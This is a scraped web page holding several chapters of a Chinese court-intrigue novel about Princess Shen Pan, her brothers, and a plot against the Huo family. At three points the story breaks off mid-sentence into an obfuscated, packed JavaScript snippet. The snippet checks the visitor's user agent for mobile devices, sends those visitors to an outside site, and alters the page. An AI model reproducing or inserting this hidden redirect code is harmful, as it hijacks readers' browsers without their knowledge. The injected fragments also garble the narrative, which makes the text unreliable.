那边坐着的霍辄即刻起身,太子同时抢了上来,“父皇!” 永济帝抬手,所有人都看了过去,却无人敢猜他这一抬手一落掌之下,将要翻起怎样的波浪。 ** “何苦呢?”郇萦关上门,端着一碗药走到床边,幽幽叹道。 沈磐才靠着枕头闭目小憩,闻言,睫毛一翻,才哭得通红的眼睛里霎时涌出了血气。 是杀意。 郇萦将那碗药递到她手边,“放心,我不会告密。” 沈磐刚要伸手,就看见自己的手腕又青了一圈,指背也被刮起了皮,顿觉刺眼,便放下手。 见她不接,郇萦在床沿坐下,将药碗递到她眼前,“毕竟我也没什么秘密可以告发。” 沈磐这才又抬起手,手指刚搭上碗边,就听郇萦问:“辛翩翩为什么要与你合谋?” 接过碗,沈磐淡淡反问:“你猜。” 郇萦打量她,半边脸有些白,半边脸又有些肿,嘴角还破着,低眉不笑挂下唇角,的确是十足的委屈和十足的怨恨,的确与方才在陛下面前一模一样。 她其实与沈磐打的交道不多,偶尔的模糊印象里,她领着辛翩翩等看上去天不怕地不怕的刁蛮姑娘们四处招摇,笑是戏谑的,怒也是假装的,傲气却是十成十如假包换的。 她简直能跋扈成一只斗鸡。 “何必呢?把自己弄成这样。” 沈磐一口饮尽碗中苦涩,“郇萦,不是每个人都有你这份运势。” 郇萦回视。 “辛翩翩也一样,若不想被安排,就只能自己来。” 郇萦要接回碗,沈磐又不松手。 “你有恩爱父母、慈善兄嫂、开明长辈,不争,不抢,不怨,你自随心所欲无人干扰。” 郇萦的目光落在空了的碗中,“你也不差。” 沈磐忽然笑了,松开手,任由郇萦把药碗拿走。 “但我姓沈,翩翩又要被嫁给姓沈的人——” 郇萦眉头一蹙,“陈王?” “聪明。”沈磐不自主叹息,“陛下与英国公透露过,想要让翩翩嫁给陈王,以便在新旧公侯中平衡与东宫的势力和关系,毕竟西北军功出身的霍系公侯与他们极其不睦呢。” “不必和我说这些,我不想不知道。” “你只需要知道,上一个不争不抢不怨的沈姓宗亲,是元良郡王。” 她分明想把这句话说得既狠又绝,但说到“元良郡王”,心底的伤怀终究是乘虚而出。 太痛了。 郇萦只是听过一耳朵元良郡王府的惨案,这便也感受到了沈磐这种锥心之痛。 元良郡王的名声满朝皆知。 绝无二心的人却成了巫蛊真凶。 郇萦端着空碗起身,“除了我和郇渊,应该没有别人看见辛翩翩晃荡在附近给你通风报信。”她也叹了一声,“郇渊是个很好的孩子,他是真的担心你被霍开武欺负……” 沈磐阖眼,不知为何却看见了搂着她的脖子叫“姑姑”的仪明。 很好的孩子。 “过几天我就会南下,除非我弟弟娶媳妇这样的大事,我应当不怎么会回来了。” 沈磐睁开眼睛,吐出一口气:“离开也挺好的——是苏州吗?” “嗯,和我姑姑一起。那个院子很漂亮,栽了很多桂花树,边上还有一片山头,池塘里都是荷花——”郇萦的视线落在沈磐脸上,“你若来,我带你逛。” 沈磐扯下嘴角,并没有答话。 她差点就要答应这个邀约。 郇萦是个很真诚的人。 她不能骗她。 沈磐又闭上眼。 她们这辈子都不可能一起逛山水。 门外好像来人了,沈磐这才记起来问:“这是什么药? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967622|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 郇萦道:“安神药。” 但这神怎么安? 沈磐一眼就看见站在门外不知在出什么神的沈斫。 太子看着她叹气,太子妃薛元映为她梳理乱发,沈碧把郇渊牵了过来,郇渊一看见床上灰败的她,就挥舞着刚包好的肉拳头跑了过来,“姨母!没事了,皇爷爷狠狠罚了他,姨母再也不用见到他了!” “是吗?”沈磐很疲惫,却还是扯了个盛大的笑,“郇渊疼不疼?” 郇渊举起包成馒头的手,“哈哈”地笑:“不疼,萦姑姑夸我可勇敢呢,璩弟弟和玥儿妹妹也很崇拜我呢。” 沈磐捧着他红红的脸颊,“真棒,姨母也觉得郇渊特别勇敢,姨母特别感谢郇渊。” 郇渊又笑得见牙不见眼。 沈碧将儿子拉了回去,神色淡淡,“如你所愿,婚约作废,好好休息吧。” 太子妃连忙安抚道:“磐磐没事了,陛下革了他的官身,命他回家思过,都没事了。” 沈磐垂下眼。 太子沈碣开口:“有件事我想问你。” 沈碧即刻牵着郇渊要走,郇渊伸长了脖子:“要问什么?我也想听。” “你不想听。” 郇渊皱皱鼻子,只能跟着母亲一起走出屋子,一出屋子,就看见沈斫石碑似的杵在那里,他别别嘴提醒母亲,“小舅舅也不想听。” 沈斫回神,见大姐沈碧正端详自己,连忙点点头,木楞楞地就要往门内凑。 “舅舅不想听!”郇渊大声朝沈斫喊。 “斫儿。” 沈斫转身。 沈碧依然是淡淡的,淡淡的语气、淡淡的神情,却不是淡淡的心意,“别打扰他们。” 怔愣片刻,沈斫点头。 ** 屋内只剩下太子夫妇。 “二哥想问什么。” 太子沈碣关好门,远远望着她眼眸明亮,又不自主地叹起气。 太子妃薛元映替他道:“磐磐,你在和谁谋划什么吗?” “嫂嫂为何要这么问。” “沈磐。” 太子走了过来,脸上终于不见半点纠结,“张永一已经调来了长缨卫。” 沈磐静静等他的后文。 “按你所说,他救过你,我们知恩图报。” 沈磐错开与太子直接的视线,“嗯。” 太子不说话。 沈磐慢慢用指尖描摹被子上绣着的团云,“二哥以为,我会谋害他?” “东宫从来不会是他这种人能走的捷径——” “他是哪种人?” 太子一向是极其平和的人,此时被沈磐回怼得也有堵了口气在心底的感觉,“他不是嵇阑那种人。” 一瞬。 两瞬。 三瞬。 沈磐扬唇一笑:“其实二哥想问的是嵇阑。” “是!”太子心中郁结,“这究竟是怎么回事?你怎么与他搅和在一起?” 沈磐阖眼,“就如霍开武说的那样,这几月我们常有往来,他想要尚主。那天慈悲寺,我和他相约会面被霍开武看见了,然后霍开武就把他打了,又找了我的麻烦。” “他哪里是真想尚主!” “那也无妨。” “什么无妨?沈磐,你的名声不要了?” 她霍然睁眼,怒吼道:“名声要了有什么用二哥!” 双目赤红,沈磐再度逼近,“你已经忘记元良吗?他有多好的名声!他从未苦心经营,却因为他是个好人,于是得到了名声。” 太子大口喘气,怎么也捋不顺心里的气,越捋越乱,越来越糟,就像此时的氛围。 他从来没有对沈磐说过重话,今天也没有。 但一切还是变得这么糟糕,就像被亲爹当着全天下人的面、毫不留情狠狠踹上一脚的霍开武一样糟糕。 薛元映握住沈磐的手,“磐磐,姑娘的名声还是很重要的,嵇阑从小流连花街,不得其父喜爱,二十好几也没有功业,眼看家里的弟弟一个个长大,袭爵无望……” “我都知道。” “磐磐,他在算计你!” “我也在算计他。” 薛元映震撼地看着她。 “与虎谋皮。”太子冷冷道。 沈磐看向太子。 “嵇阑和霍开武不睦,但嵇家仍然是霍家的忠仆,你想用嵇阑去对付他们?白日做梦!” “二哥,是嵇阑想去对付他们,不是我。” “他为什么要对付自己的亲长?他凭什么毁坏自己的利益!” 沈磐低声答:“因为他根本就不是嵇家人。” 太子夫妇懵在原地。 25. 第二十五章 莫平意(七) 沈磐听见嵇阑口述身世时,也是震撼得难以置信。 连嵇阑自己都曾不信。 他怎么会不是他爹的儿子呢? 一定是母亲恨极了他爹,恨他爹杀了她的家人,杀了她的夫婿,还强娶了她,带到化隆这样人生地不熟的他乡。 可难道不该恨吗? 灭门夺夫抢功之仇。 若这样的仇恨落到他的身上,他恨不得要将仇敌全家挫骨扬灰。 那时候的嵇阑才十来岁,骤然得知了这样的秘密,成天惊恐夜夜难眠。 现在的嵇阑二十来岁,有时想起来,还是会被自己的忧惧仇愤逼得彻夜难眠。 和沈磐提起这些往事,他极力想表现得坦然从容,可眼神将他卖得一干二净。 太子过了好久才找回自己的声音:“他的生父是卢兰?” 沈磐点头。 薛元映忍不住叹息:“怎么会这样?” 太子坐到薛元映身边,“卢兰的父亲卢汴曾是靖臣窦宙将军的副官,又与宁远陆微将军别有渊源,故而卢兰一入行伍就有了校尉的荫官,后来担任雍凉都督,却因判国罪满门抄斩。嵇阑的父亲嵇阀,而今的靖臣将军,以前就是卢兰的属官。下属夺上官之妻,这样的议论我以前听过。” 薛元映还是难以置信:“嵇阀怎么会允许卢兰的儿子混淆自己的血脉?嵇阑还是名义上的嫡长,最有可能袭爵。” 沈磐淡淡道:“所以嵇阑十二岁那年,他母亲自杀了。” 以证清白。 薛元映倒吸一口凉气。 “沈磐,不要与疯子为伍,会伤了你自己。” 沈磐苦望向太子,视线又触及薛元映关切心疼的目光,顿时像魔怔了般,听见一个声音在耳畔说: 可你也是个疯子。 在陛下面前你是怎么哭的? 霍开武说你和外男不清不楚,你说霍开武姬妾盈堂、儿女成双。 霍开武说他并非有意要欺侮你,你说是,他不是有意,他只是贱呐,一不如意就要诉诸暴力,是个女人都想一亲芳泽。 然后在陛下面前,霍开武不敢说话了。 可你的胆子多么大? 指着他骂,说他狗仗人势,说他敢未婚僭越仗的就是陛下对霍辄的信赖。 当然重点不是这个,重点是他敢打你! 敢在千秋节的宫里打身为公主的你! 敢几乎在光天化日、满朝文武前打你! 打你的脸,打皇家的体面! 婚前尚且如此,婚后岂不翻天? 你其实并没有多么生气,索性你也不需要多么生气。 你只要哭,将这二十年来所有的委屈不满思念痛苦全都哭出来,哭得让你那已经被气得脸色铁青的君父,一刹那想起他那早亡的姐姐。 升平朝的长平公主也是这样一个人,只是她幸运,又远比你有本事、识时务,所以她为了利益嫁给豺狼,最后反倒成了恶虎。 可永济朝的长平公主你,比一只野兔还要软弱无能,被夫婿当着天下人的面侮辱,也只能哭。 太子还没死呢! 他们就敢这么欺负你! 你只管哭,把霍开武都哭出一把火,恨不得借着火势一巴掌劈死你。 是啊,他该气的。 两个人时你极尽所能地刺激他,第三人来了就开始哭诉自己有多么柔弱无助。 他骂你是个疯子,恨不得扑上来撕了你。 可你没有否认是么? 你只是在哭。 当你看见君父眼中对你的松动和对霍开武的憎恶,你好像真得哭出了伤心。 你想到了元良对么?想到了仪明对么? 你也变成迫害过他们的那群疯子了么? 该的,对霍开武他们你何须鄙吝疯子的狠辣? 该的,霍开武活该的,他们活该的! 可你还是变成了一个疯子。 不是么? 沈磐望着太子夫妇。 在他们的东宫里,阴谋、算计、血腥从来都找不到落脚之处,甚至在陈王出生之前,阴谋、算计、血腥在皇宫里都无家可归。 阴谋、算计、血腥,没有人教过她这些,太子夫妇也绝对不会让这些在她眼前上演,可一瞬间学会所有,直如同嗜血啖肉是动物的本能一样,是刻在她骨子里的天赋。 她好想说一句:哥,我没事,疯子是不会被疯子伤害的。 他们是多么爱惜珍视她的人。 她心里有一处陷阱,眼睛就是阱口,睫毛充作伪装。 沈磐深囚自己的疯狂,“哥,嫂嫂,我有些困了。” ** 沈磐其实没有睡着,所以她知道沈斫一直坐在她床头,静悄悄不知想了些什么。 她叹气:“你有话对我说吗?” 沈斫低下头,握住她从被子里伸出来的手。 “姐……” “怎么不叫‘磐磐’了?” 沈斫眼见她笑,却感受不到丝毫宽慰。 “姐,嵇阑也不适合你。” 沈磐笑弯了眼,“那谁会适合我?” “张永一。” 沈斫就见,她不笑了,夕阳透过花窗漏进来打在她脸上,遮去了不少苍白颓败。 “我不适合他。” “我以为调他来长缨卫是你的意思。” “就是我的意思。” 沈斫捧着她的手,“我们以为你喜欢他。” 沈磐脸上的平静凝固刹那,旋即又拼成了一个笑,“嗐,我只是到了年纪不够矜持罢了。” 沈斫盯着她手上的伤,“姐,我是真的不喜欢嵇阑。” “嗯,你也不用喜欢他。” “可是我很喜欢沈礴,你不喜欢他。” 沈磐连一个勉强的笑都留不下来,夕阳也画不上空无表情的一张脸,随着浓云流去,光线一根根被窗格切断,她的眼睛也陷入了眉骨鼻梁投下的阴影里。 “你看出来了。” 沈斫闭眼,点点头。 他那么敏感,对阴谋、算计、血腥乃至痛苦都那么敏感,敏感得一伸手就能摸到它们,那他自然也能一眼看透,她不在乎与谁成婚、却拼命也要拉下霍开武究竟为了什么。 “太子与陈王根本不能和解。” “他没有坏心。” “但霍家有。” 沈斫自然也猜得到,那么拼命勒断元良郡王府上下三十几人脖颈的幕后真凶,也是霍家和霍家的爪牙。 “太子与陈王不能和解,同样,新臣旧侯也不能和解,我不能嫁霍开武,翩翩也不能嫁陈王。帝位只有一个,他们想扶陈王坐,那让太子怎么办。” 是啊,如果沈礴当了新皇,那二哥怎么办? 沈斫应当是死心绝念了。 为了当好这个东宫的家,二哥二嫂比内阁的辅臣还要辛苦,受着百姓臣僚的监督,受宏志良心的检验,十几年来兢兢业业从不敢有半点懈怠。 而那些人他们剑指东宫。 哪怕他掩耳盗铃地想,元良之死并非沈礴本意,他甚至都不知道自己母族的舅哥们犯了怎样的血案,他能擅闯光武门只为了给自己求情,但元良还是死了不是吗?他还是被霍开武带走了不是吗? 他只是一个还没长大的少年,十四岁不满。 可霍家及其爪牙把持朝野,几乎要与东宫分庭抗礼。 他们那么嚣张,要什么把柄没有,贪污受贿、奸淫掳掠、卖官鬻爵,哪怕裘衣藏针都查到了早已病逝的霍夫人身边人头上,可有陛下护着,只有叛国谋反的大罪才能撼动帝王的偏心。 而今日的帝王又一病不起。 被气得一病不起。 “姐,这种事,你以后不要管了……” 沈磐挑眉:“你看不起我?” 沈斫昂头,“我姐姐是女中豪杰。” 沈磐“噗嗤”笑了。 “从小有什么事,你都冲在我前面——” 沈磐倏忽握紧他的手,“沈斫,听话。” “让我来处理吧,过了年我就成人了,二十岁——” “沈斫,听话。” 沈磐另一只手带着温濡,盖上他的手背,“听话,在宁远照顾好自己。” “姐……磐磐!” “沈斫,听话。” ** 兵科给事中弹劾霍辄教子无方的奏疏很快就引来了四面八方的呼应,最后一道来自都察院四品佥都御史的奏疏上还属上了总宪的名字,这下内阁也踩下了浑水。 因为而今的左都御史叫梅依径,而梅依径又是武英殿大学士,是为冉琢明之后的次辅。论起来,梅依径和冉琢明是同年同榜的进士,梅依径是榜眼,冉琢明是探花,内阁里论资排辈下来,应以梅依径为首,但不知陛下是怎么想的,偏偏钦点了冉琢明的首辅位。 各衙司里都传:梅榜眼是乌鸡眼,冉探花是喇叭花。 这说的就是梅依径不怕事爱揽事专找事,冉琢明最怕事不管事没有事,料理事务时,梅依径定调子,冉琢明传个音,剩下来的郇翾是科举出身、衙门资历都排不上号的,纯属和稀泥调和两人之间时而融洽不分你我、时而紧绷剑拔弩张的关系。 朝中拉帮结派之事屡见不鲜,平日里小打小闹、相互攻讦,内阁都睁一只眼闭一只眼,如今连梅依径都下了场,是满朝文武都要和永济帝翻脸。 沈磐暂且没工夫管朝中的波涛。 因为过了十五千秋节,沈斫就要回东北。 他们在宁远门外相送。 这次张永一也来了。 他也必须要来。 从前他是六部中人,与东宫别无牵连,现在却成了长缨卫,还是四品的指挥佥事,一步踏入飞黄腾达的行列。 他也想来的。 见见沈磐。 比以往更近地见她一面,见到她劫难过后的疲乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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嵇阑笑道:“他儿子李圜在菁明书院念书——那种地方你知道的,学生各个别有根脚,论资排辈、不务正业,乌烟瘴气的,他这个儿子李圜性子有些孤僻,是那种被欺负狠了都不敢吱声的闷葫芦,有次我看不过去,给他解了围。但我和他儿子并不投缘,倒是和他,一来二去就聊成了‘忘年交’,还一起约为‘婚姻’——” 沈磐的眉毛翘得老高。 “是啊,不过公主放心,只是口头上说说。再说,约为婚姻?他儿子多大,我又没有家眷,这亲家怎么个当法,都还是未知。” “又不是我的事,我有什么不放心的。” 嵇阑笑端杯,“不过有件事不关公主,但公主定不会放心。” 沈磐凝眸。 “陛下又要离宫,何时回京也是未知,而陈王不久要过十四岁生辰,封王就藩,这可耽搁不起。” 嵇阑又给自己续茶,“不过我们急,急在帝驾边没有眼线,陈王他们也急,急在京中无人坐守——郭辞文病死,陛下突闻噩耗一定伤心不已,若有旧友相伴,一定能宽慰不少。” “卿茂山有官去不了,且他奸猾胆小万事不沾,郇翾也不能去、内阁离了他就要分家,那就找辛自宽。” 嵇阑点头称是,“他就辛翩翩这么一个宝贝女儿,马上就要被指给陈王,全家的好日子都要到头,他的确要急——这么看,还是公主周道。” “吃空饷不是什么稀奇事,宣钦的案子先压一压,别给霍家转移了注意。还有,霍辄一走,家中无人坐镇,山上无老虎,猴子城霸王,霍家那群狗仗人势的定要闹腾,多插点眼线盯着,指不定能抓住把柄。” 嵇阑一一应下。 “还有别的事吗?” 见沈磐一副着急要走的样子,他不禁起了玩笑心思,端着空杯走近栏杆,朝着楼下还守在马车旁的张永一的方向笑道:“这位是梁国长公主的长孙,论起来还是公主的表侄——” 沈磐坐着不动,冷冷问:“你想说什么。” 张永一在说话间抬头看了过来,只见嵇阑,却不见沈磐。 嵇阑向他颔首,歪过头笑向沈磐:“他上月还是兵部的郎中,今日便喜迁军卫的佥事。” “你究竟想说什么。” “公主的耐心怎么越发差了?”嵇阑往回走,“我就是想问问有没有什么高升的秘诀,毕竟——”他一咂嘴,一抖袖子,两袖清风也无,白身一条,若非身形高挑、姿容出众,当真是要多落魄有多落魄。 “毕竟我什么时候能尚主,还是个未知,总也要拿几个官垫垫,以防爵位落空,公主的算盘也空。” 沈磐边起身边摇头:“这个得靠你,张佥事救过本宫的命,救过燕王的命,一个指挥佥事东宫犹嫌寒酸拿不出手——你若是想当官,去问你叔叔要,军中不想去,兵部混个七八品还是可以的。” 嵇阑倚着窗沿朝沈磐笑,“四品佥事犹嫌寒酸?在下倒不知怎样谢才算合适。” 沈磐已经走到门边,闻言脚步一顿,“与你无关。哦对了,近日上门一趟,有事要议。” 26. 第二十六章 莫平意(八) 天气一下子冷了。 未时刚过,日渐西跌,张永一刚与人交了今日的班子,正从公主府后门要走,迎面撞上了嵇阑。 如这一连二十几日,他每次做贼似地登公主府的后门,都收拾得极其用心。张永一只知道沈磐喜欢怎样的装扮,却不知她喜欢哪一款的男子,而今见了嵇阑,他便深知自己的无望。 毕竟,他从前还会想,沈磐对他应当是有情的。 沈磐不是个内敛的人,她喜欢最艳的色彩,也喜欢最艳的景色,且她本来就比满院春花秋叶还要鲜艳,可她敛于诉情。 这般,他总能骗自己,沈磐还是属意他的。 可嵇阑人生得风流,装束得风流,处处都是风流。 今日风大,他裹着毯子似的披风,依然不减风流。 他从没想过自己怎么就堕入了这片情海,自然也没敢想沈磐如何会对自己有情。 他根本不是沈磐会喜欢的模样。 嵇阑见了他,笑着打了招呼,也不管对面是冷脸还是热情,轻车熟路地拐去沈磐最常呆的书房。 陛下移驾五柞宫,太子成天忙得倒悬,沈磐便常来公主府。 沈磐一来,嵇阑必来。 一呆就是一整夜。 张永一曾守过这样的夜,连他们的说笑声都听得真切,蜡烛烧着不灭,窗户上还能映出嵇阑颀长的影子,到了后半夜屋里静悄悄,他们应该都已沉沉睡去。 他一个指挥佥事本不用亲自熬这样的苦夜,可他自讨苦吃。 然后他就没什么执着了,并不再彻夜不眠地等着第二天又换过行头的嵇阑神清气爽地推开沈磐的房门,和自己道一句:“早啊张佥事。” 张永一深吸一口气,坚定地走出公主府。 义然已经等得两眼放空,被张永一敲了敲脑门,这才悠悠醒来。 “呀来了,赶紧吧,事情有了不少进展。” 张永一上马。 义然将搭在臂弯的披风抛给他,“牛马巷盯了月余都没有消息,最近突然听说城北有一户闹贼,我便去碰了碰运气,你猜瞧见了谁?” 张永一系上披风,“是谁?” 义然嘿嘿一笑,不急着答话,骑上马领着张永一往城北偏巷去。 公主府本就建在化隆城东北的富贵地,他们在繁华大道上走了不久,义然就带他拐进了一条僻静深巷。巷子虽小,却也是高门大户林立之处,夹道两边深墙斜倾,墙内竹丛狂茂,枯黄的竹叶被蹄风一卷,呼啦啦四处打旋。 义然示意张永一下马,一下马,义然便小声解释道:“这里是羊车巷,再过几条街就是菁明书院。” 张永一四处望着,门扉贵重却不书牌匾,檐下风灯上也不贴名姓,但他们没走两步,就闻得墙内怨歌声起,弦音惆怅,如有妇在泣。 “真伤心。”义然叹息,“这里离极乐坊那些花街柳巷也近,养的大多是高官显贵的外室,那天我一来,就看见宝马香车,朝廷要员。” “你究竟看见谁了?” 义然附耳道:“还记得牛马巷那个老师婆吗?” 张永一略略回想,眼前顿时浮现那个蓬头垢面跑得轻快的老婆子,正“嘿咻嘿咻”地踩着地上光影。 义然指着那户门上贴着京兆封条的人家,“就是这家了,据说是阳安伯府的,不知哪里通了这些歪门邪道,找上了这个师婆扎小人诅咒阳安伯夫人,被伯夫人抓获,闹到了府衙。” “这种大事,为何我在宫中不曾听闻?” “嗐,这么不光彩的事,今年又才出了元良郡王之事,阳安伯赶着陛下不在京,就上下疏通关系,求爷爷告奶奶地让京兆府把事情压下来,伯夫人回过神来反了水,自称家中什么邪门事情也没有,就是别院的下人偷了主家几件宝物藏到了这里云云,京兆也不想惹事上身,便将事情压了下来。” “不应该,不论如何宫里也该有风声的。” 不在门口过多停留,他们继续往前走,路人只当他们是要去极乐坊寻欢,也不多管。 义然被不知哪里的阴风吹得一哆嗦,“不知道,反正那师婆是被拿进了京兆府。” “附近就是菁明书院,人多口杂……” “公子你在嘀咕什么?” 张永一不自主地叹息:“我总觉得东宫应该要知道发生了这样的事。” “嗳,这些都是大人物要操心的,公子你替他们担心什么——” 正说着,他想到张永一是四品佥事,也是大人物了,顿时改口:“有元良郡王之事在前,公子您理当上心,只是公子在操心这些事前,还有一件事要先上上心。” “何事?” “亲事。” 张永一皱眉。 “公子你也该体谅长公主,长公主就盼着你成家,这是她唯一的心愿了,她又担心自己看不到那天……” 张永一叹气:“祖母又看上了哪家?” “郭家,升平末年郭阁老郭明修他们家,也是陛下故友郭辞文他们家,就定了明天你的休沐日,长公主想托诚识公子带你去。” 张永一有些失神,一失神就想到了沈磐。 她在做什么?和嵇阑聊着朝廷大事还是人生大事?她该又被嵇阑的玩笑逗乐了,抑或者因为陈王封王之事愁肠百结。嵇阑有颗七窍玲珑心,总不会让她继续消沉下去,她总会笑的,勉强也罢真心也好,只在嵇阑面前笑,只笑给他一人看。 “公子?公子?” 张永一的眼神落回自己的视野,他轻轻应一声:“好。” 义然看着他叹气:“公子,你最近总是魂不守舍的。” 张永一低头苦笑:“是么?” “我还从没见过你这样,为着旁人把自己折腾成这样,公子你也没发现,你近来有些瘦了——” 张永一笑:“是待在化隆安逸久了。” 义然揪心,踟蹰道:“公子,你从来都是很果断的人。” “是么?” 义然真诚点头。 张永一望着远街,高处已经看得见极乐坊的楼台灯火绚烂,他幽幽问,似在问一个答案,又像是自言自语,“我何时变得这么优柔寡断了呢?” 暮夜只有娼寮上的歌舞飘渺地回应他的无奈。 义然担心,又怕张永一多心,只能字斟句酌地劝他:“公子心里憋了那么多事,有事就该说事,有问就该去问,成就成,不成就一刀两断,长公主看见你这么难受,她心里也难过。” 一刀两断吗? 他只是想着这四个字,这刀疤就开在了他心口。 他断不了,成日看着她与旁人恩爱情浓,他断不了。 漆黑的羊车巷走到了尽头,车如流水马如龙。 “公子,回家吗?” 进一步是极乐,退一步是深渊。 而他是个懦夫,在中间徘徊。 义然兀自牵马走,“回家吧回家吧,长公主应该也在等我们——公子!” 他回头要追,张永一已经骑着马跑没了影。 ** “嗐,公主不赏臣一个好脸色,好歹赏口茶吧?” 沈磐重重地把茶杯放到他面前,“要喝自己泡。” 嵇阑认命,挽了袖子提了茶壶去炉边催火,才风流潇洒的公子哥就这么被打发到炉火边蹲着煮茶,他念叨:“炉子应该摆到茶桌边,这样才方便一边盯着火候一边碾茶……” 沈磐搁下邸报,语气不耐:“你管这么多?” “只是建议公主。” 她又拿起最新鲜的一份看起来,“我劝你别建议。” 看她眉眼冷淡,语气更比天边风还冷淡,嵇阑干脆盘腿坐在了地上,撑着下巴笑道:“公主不呆在宫里,臣给您搜罗这些邸报也没什么用啊。” “如何没用?”沈磐继续翻着,“翩翩才来看过我,跟我说她爹在五柞宫的见闻。” 嵇阑托着下巴望向茶几旁端坐的沈磐,一幅洗耳倾听的样子。 “陛下生了好几回气。” “嗐——”嵇阑难掩失望,“陛下肯定会生气,大楚开国以来,有哪个皇帝要‘低声下气’地求臣子送个人情?内阁不买皇帝的账,说起来是为公为国为百姓计,可太子不卖君父的账,在陛下眼里,不是为了东宫一家的私利还是为了什么?” 沈磐压下邸报,“他是拿准了君臣父子、仁德孝义,在逼二哥松口。” “那太子何必要惹他生厌呢?假意答应了又如何,不是还有内阁顶着?陈王想不就藩,想要梅阁老改口,简直是天方夜谭。且梅阁老最不怕事,如果知道太子在好心替他顶着君父怒火,指不定要以为是太子小看他的本事。” 沈磐看他说得简单磊落,“但我三哥的先例摆在那儿。” 嵇阑捏了帕子提起茶壶,“朝中吵来吵去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977764|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就只能吵吵宁王殿下的事情,霍派想保陈王也就这么一个说辞,可就这一个说辞他们也没理啊,宁王是中宫皇后所出,从小体弱多病,陛下为他开了不就藩的先例合情合理,但陈王,霍夫人所生,身体康健,有什么理由要求宁王的待遇?” “当年,我二哥也是例行反对过的。” 嵇阑起身走到茶几边,“那时太子的反对是大义,现在太子的反对是私心。” “明明都是一件事……” “公主说对了,明明都是同一件事,偏偏在陛下那里分出了阴谋险恶。” 嵇阑没有碾茶,直接就着碗中茶叶冲下了热水,他顺着两个人的心里话往下说:“因为陛下心里早就有了喜恶亲疏。” 沈磐轻哂:“就算二哥答应,他也会认为是东宫要博一个兄友弟恭的美名,是在做戏。” “但好歹,东宫没有挡陛下的路。” 他们两人对视,各自移开视线。 何人挡路,何人必死。 这是一个君父的底线,也是皇权恶兽的血性。 “这一年来,他做什么都不顺,要杀元良,满朝和他叫板,要封兖王,内阁又跟他忤逆,我算计霍开武,坏了他的筹谋……” “所以太子本就身在危楼,不是要小心谨慎不能走错一步——” 嵇阑推来一杯热茶,他手边就只剩下一壶水。 “而一定会行差踏错。” 沈磐握住茶杯捂手,“可这是为什么呢?” 嵇阑翻来覆去也找不到第二只杯子,也不敢贸然打扰出神伤怀的沈磐,只能打开壶盖晾些凉水。 “我二哥从小就是典范,功课做得好,习武也最用心,他脾气又炼得尤其温和,君父说东他就往东,说西就向西,忠孝仁义礼智信,他哪一样没做到?这么多阁臣夫子,哪一个不真心对他赞不绝口?” 嵇阑看向沈磐捂手的茶杯。 “他自己也是从各种阴谋里厮杀出来登上皇位的,怎么会不知道霍家在密谋什么?陈王不就藩又意味了什么?他自己战战兢兢过,这就要折磨他的儿子取乐?他淋过雨就要撕了儿子的伞?我实在不懂,他怎么就变成了这样一个自私自利的人。” 说完,沈磐就想到那天在东直门,临川郡主说的—— 或许他从来就是这样的一个人。 这样一个刻薄冷血的人。 “公主对霍夫人了解多少?” 沈磐恶狠狠地瞪他,“一个男人该是什么样的混账就是什么样,和身边的女人有什么关系?” 嵇阑连连求饶:“臣受教受教,只是公主,我们都想不明白那样的明德之君如何会鄙吝成这个样子,霍夫人,乃至陈皇后,不都是我们该去探寻的线索吗?所爱映所欲,燕王和陈王,不过只是爱恨之下的结果。” 沈磐的眼神一刹那柔软得脆弱起来。 是啊,他们只是承受着不同的爱恨,所以一个是掌上珠,一个是泥底目,一个自幼一路顺风,一个从来坎坷波折。 “汉武帝言戾太子不类己,故尤喜钩弋夫人子弗陵,而臣观陛下宠溺陈王,但陈王不肖陛下,天真文弱、少有决断。有人喜欢像自己的,有人就喜欢不像自己的。像自己的是因为欣赏自己的强大,不像自己的渴望他身上的某些东西,说到底是没有改变的决心和勇气,是沉溺自己的弱小,既要又要。” 嵇阑伸手,意在沈磐手中的茶杯,“说到底,都是因为太爱自己。” 太爱自己? 沈磐想到张永一。 他和自己绝对是完完全全不同的两种人。 他的家庭曾经美满无缺,就算双亲亡故也备受疼爱,他从来都不缺亲人的关注和偏爱,他可以一辈子呆在亲长的庇佑下顺风顺水。所以这也养成了他有些天真、有些傻的性子,遇事他机敏果断,是行军之将,赏罚从不拖泥带水,狠绝也从不手软。可本心里他没有恶意和算计,故而他只想着自己好,也要别人好,更要大家都好。 他懂得这是个弱肉强食的世界,每个饥肠辘辘的人都凶神恶煞地盯着他,他没法人人报以微笑又以身饲虎,但他装傻充愣保持沉默,从不抒发怨愤只默默包容他们的冷箭冷眼。 他是那种,在沈磐七岁时就会背地里指着他叫骂上一万句“傻子”的存在。 可说来这么多年,这么多人过眼,只有他如同浣洗的遗纱,随着清溪下流却搁浅在了砾石滩。 27. 第二十七章 莫平意(九) “臣求公主赐茶。” 见桌上别无茶杯,沈磐撒手,任由口干舌燥的嵇阑喝完了茶。 “臣觉得,陛下是爱屋及乌。” 沈磐淡淡道:“翩翩说他让施汜招魂,应该在招霍夫人的魂。” 